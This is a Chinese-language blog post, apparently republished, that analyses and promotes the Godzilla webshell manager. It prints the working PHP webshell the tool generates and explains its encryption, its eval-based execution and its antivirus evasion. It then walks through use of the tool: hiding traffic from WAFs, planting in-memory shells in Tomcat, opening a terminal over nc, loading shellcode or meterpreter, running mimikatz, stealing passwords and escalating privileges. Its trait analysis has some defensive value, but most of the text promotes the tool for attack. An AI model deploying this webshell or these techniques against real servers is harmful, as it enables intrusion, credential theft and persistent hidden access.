哥斯拉Godzilla Shell管理工具使用,马分析,特征分析(4K屏不好用,Webshell)
目錄
馬分析
正文
總結(jié)一下木馬的利用邏輯:
總結(jié)木馬特征:
簡單使用方法
一些特性
流量加密
插件模塊
數(shù)據(jù)庫管理
內(nèi)存shell
屏幕截圖
虛擬終端
JMeterpreter?
ServletManage??
JarLoader?
JZip?
ByPassOpenBasedir?
BypassDisableFunctions??
筆記
ShellCodeLoader
SafetyKatz
lemon
BadPotato??
SharpWeb?
SweetPotato?
其他選項
參考文獻
作者:BeichenDream
馬分析
正文
先貼一下哥斯拉V2.83生成的PHP馬(選擇了base64作為加密方式)
<?phpsession_start(); @set_time_limit(0); @error_reporting(0); function E($D,$K){ for($i=0;$i<strlen($D);$i++) {$D[$i] = $D[$i]^$K[$i+1&15];}return $D;}function Q($D){return base64_encode($D);}function O($D){return base64_decode($D);}$P='pass';$V='payload';$T='3c6e0b8a9c15224a';if (isset($_POST[$P])){ $F=O(E(O($_POST[$P]),$T)); if (isset($_SESSION[$V])){ $L=$_SESSION[$V];$A=explode('|',$L);class C{public function nvoke($p) {eval($p."");}}$R=new C();$R->nvoke($A[0]);echo substr(md5($P.$T),0,16);echo Q(E(@run($F),$T)); echo substr(md5($P.$T),16);}else{$_SESSION[$V]=$F; }}可以看到內(nèi)容不是特別多,攻擊荷載都在SESSION里,大部分代碼在實現(xiàn)加密通信。一眼看過去好像沒有特別明顯的特征,不像冰蝎可以直接找"AES"然后看上下文。
接下來分析每個方法的作用,不想看分析過程可以直接看備注在每個方法后面的結(jié)論:
<?phpsession_start(); //創(chuàng)建或者重啟一個會話@set_time_limit(0); //設(shè)置程序最長運行時間:永久@error_reporting(0); // 關(guān)閉錯誤報告function E($D,$K){ //通過密鑰對 $D 進行加/解密for($i=0;$i<strlen($D);$i++) {$D[$i] = $D[$i]^$K[$i+1&15];}return $D;}function Q($D){return base64_encode($D); //用base64 對 $D 進行編碼}function O($D){return base64_decode($D);//用base64 對 $D 進行解碼}$P='pass';$V='payload';$T='3c6e0b8a9c15224a';if (isset($_POST[$P])){ $F=O(E(O($_POST[$P]),$T)); //通過密碼傳輸攻擊荷載并解密if (isset($_SESSION[$V])){ //判斷SESSION是否已經(jīng)存入了攻擊荷載$L=$_SESSION[$V];$A=explode('|',$L);//將SESSION中的攻擊荷載分割成函數(shù)class C{public function nvoke($p) {eval($p."");}}$R=new C();$R->nvoke($A[0]);//通過eval執(zhí)行攻擊荷載echo substr(md5($P.$T),0,16);//將傳入的遠控命令加密后,取前16位放在返回值前面,其余的放在返回值后面(二次加密)echo Q(E(@run($F),$T)); //執(zhí)行遠控命令,并對返回值進行加密echo substr(md5($P.$T),16);}else{$_SESSION[$V]=$F; //將攻擊荷載存儲到SESSION}}接下來是分析過程:
一開頭的 E() 方法通過傳入字符串和鹽值來加密字符串,這個方法在代碼中出現(xiàn)了兩次,分別用來處理傳入的遠控命令,以及對返回哥斯拉服務(wù)端的字符串進行加密。
Q()、O() 兩個方法分別實現(xiàn)base64加解密。
再往下看,發(fā)現(xiàn)文件定義了三個變量
$P='pass'; $V='payload'; $T='3c6e0b8a9c15224a';P的值用來定義木馬監(jiān)聽POST請求中的哪個變量,簡單來說就是如果給P賦值pass,就需要通過在POST請求中給pass變量賦值,去訪問該文件,實現(xiàn)遠控。
V的值用來在SESSION中存取攻擊荷載,可以隨意賦值。
T的值用來存儲 E() 方法中加解密會用到的鹽值。
一行一行看存儲、利用攻擊荷載的部分:
1. 通過isset()監(jiān)聽POST請求,?
if (isset($_POST[$P])){2. 取出傳入的攻擊荷載/遠控命令解密后賦給F。
$F=O(E(O($_POST[$P]),$T))3. 將字符串格式的攻擊荷載按照“|”分割成方法
$A=explode('|',$L);4.?創(chuàng)建對象C,只有一個eval方法,用于執(zhí)行遠控命令。通過C對象而不是eval()來執(zhí)行命令也能起到免殺的作用
class C{public function nvoke($p) {eval($p."");}}5.?執(zhí)行攻擊荷載
$R->nvoke($A[0])6.?先將遠控命令和鹽值進行拼接,然后計算拼接得出的字符串的MD5值,取前16位放在返回值前面
echo substr(md5($P.$T),0,16)7.?通過攻擊荷載中的 run() 方法執(zhí)行遠控命令,然后對返回的字符串加密,并輸出加密后的字符串。
echo Q(E(@run($F),$T));8.?取之前計算出的字符串的MD5值第16位后面的部分,放在返回值的后面。回顯前后添加字符串,一方面是在進行二次加密,另一方面可以讓哥斯拉服務(wù)端知道返回的是哪條命令的回顯。
echo substr(md5($P.$T),16);總結(jié)一下木馬的利用邏輯:
第一次通信時,服務(wù)端通過POST方式傳遞一個名叫pass的參數(shù)給木馬,給pass參數(shù)賦的值是加密后的一組用”|”隔開的方法,也就是接下來要使用的攻擊荷載。荷載在解密后被存入SESSION,供之后使用。
從第二次通信開始,pass傳入的是遠控命令,通過攻擊荷載中的run()方法執(zhí)行遠控命令。然后對回顯進行加密后傳輸給哥斯拉的服務(wù)端。
總結(jié)木馬特征:
簡單使用方法
在哥斯拉安裝之前,你需要安裝jdk1.8的環(huán)境。雙擊Godzilla.jar打開,此時會在同目錄下生成data.db數(shù)據(jù)庫存放數(shù)據(jù)。首頁長這樣
點擊?管理-添加生成所需的webshell,哥斯拉支持jsp、php、aspx等多種載荷,java和c#的載荷原生實現(xiàn)AES加密,PHP使用亦或加密。生成時需要記住自己的生成配置用以鏈接時用。
選中shell右鍵選擇進入即可進入shell管理界面。
php的功能如圖
jsp/jspx的shell功能如圖
aspx/ashx/asmx的功能如圖
簡單使用介紹就到這里。?
一些特性
為什么我放著冰蝎、蟻劍還有什么天蝎不用而要用你的哥斯拉?
哥斯拉全部類型的shell均過市面所有靜態(tài)查殺哥斯拉流量加密過市面全部流量waf哥斯拉的自帶的插件是冰蝎、蟻劍不能比擬的靜態(tài)免殺就不說了,工具放出來之后可能會免殺一段時間就不行了,當然隨便改改就能繼續(xù)過。重點是看流量加密和一些自帶的插件。
流量加密
先來看流量加密,仍然以jsp為例,修改鏈接配置里的代理選項為http代理,讓流量代理到Burp中。
執(zhí)行dir命令的請求包?
響應(yīng)包
或許你說headers里的一些ua和Accept太扎眼了,別擔心,這些可以自己配置。在shell編輯的請求配置中修改?
或者在配置-全局配置中修改?
此時在看請求包和響應(yīng)包完全沒有特征?
并且在請求包的thisisleftData和thisisrightData可以修改為其他雜亂數(shù)據(jù)來進行干擾。到這里還不說一句哥斯拉天下第一??
插件模塊
一些基本的模塊比如:基本信息、文件管理、命令執(zhí)行我這里就不再贅述了。
數(shù)據(jù)庫管理
相信大家在使用蟻劍的時候沒少碰到過連不上數(shù)據(jù)庫的情況,我自己碰到過一個環(huán)境就是shell所在的tomcat container沒有jdbc的jar包依賴導(dǎo)致連不上數(shù)據(jù)庫,偏偏蟻劍沒什么好辦法。而在哥斯拉中就不必擔心這個問題,在數(shù)據(jù)庫管理中哥斯拉會先從容器中加載可用的jdbc,如果沒有就通過內(nèi)存加載jar驅(qū)動來鏈接數(shù)據(jù)庫。
內(nèi)存shell
內(nèi)存shell模塊實現(xiàn)了在tomcat中注冊、卸載內(nèi)存馬
你可以直接注冊一個哥斯拉的馬或者冰蝎、菜刀的馬,甚至是regeorg。?
比如注冊一個/Godzillashell進去?
訪問發(fā)現(xiàn)存在?
直接哥斯拉鏈接就行了。內(nèi)存shell 無日志,會在tomcat重啟后消失。
屏幕截圖
點截圖會自動保存預(yù)覽,在windows上需要shell權(quán)限夠大。
虛擬終端
這個功能其實是在本地監(jiān)聽端口,通過shell與服務(wù)器交互實現(xiàn)cmdshell。點擊start之后執(zhí)行nc 127.0.0.1 4444鏈接本地4444獲取cmdshell。
如果不使用nc鏈接的話會一直占用本地4444端口。用完請exit或點擊stop。
JMeterpreter
ServletManage?
用來管理servlet,方便管理內(nèi)存shell。
JarLoader
用其加載jar包,主要用途就是加載jdbc。?
JZip
打包全站的好助手。
ByPassOpenBasedir
BypassDisableFunctions?
筆記
筆記模塊是jsp\php\aspx都有的模塊
ShellCodeLoader
直接通過shell來加載shellcode,或者彈meterpreter
SafetyKatz
mimikatz 需要高權(quán)限
lemon
抓常用軟件密碼
BadPotato?
提權(quán)模塊,源于 https://github.com/BeichenDream/BadPotato
SharpWeb
參考 https://github.com/djhohnstein/SharpWeb
SweetPotato
提權(quán)模塊
其他選項
配置-程序配置中可以修改字體大小,重啟后生效。
關(guān)閉提示語不解釋了,上帝模式開啟會使文件管理復(fù)雜化。?
參考文獻
源碼:https://github.com/BeichenDream/Godzilla
馬分析:https://blog.csdn.net/zeros__/article/details/111521314
特征:https://www.secpulse.com/archives/177117.html
使用:https://www.freebuf.com/sectool/247104.html
新人創(chuàng)作打卡挑戰(zhàn)賽發(fā)博客就能抽獎!定制產(chǎn)品紅包拿不停!總結(jié)
以上是生活随笔為你收集整理的哥斯拉Godzilla Shell管理工具使用,马分析,特征分析(4K屏不好用,Webshell)的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: DRDoS分布反射式拒绝服务攻击(什么是
- 下一篇: poj3276 反转 挑战程序设计竞赛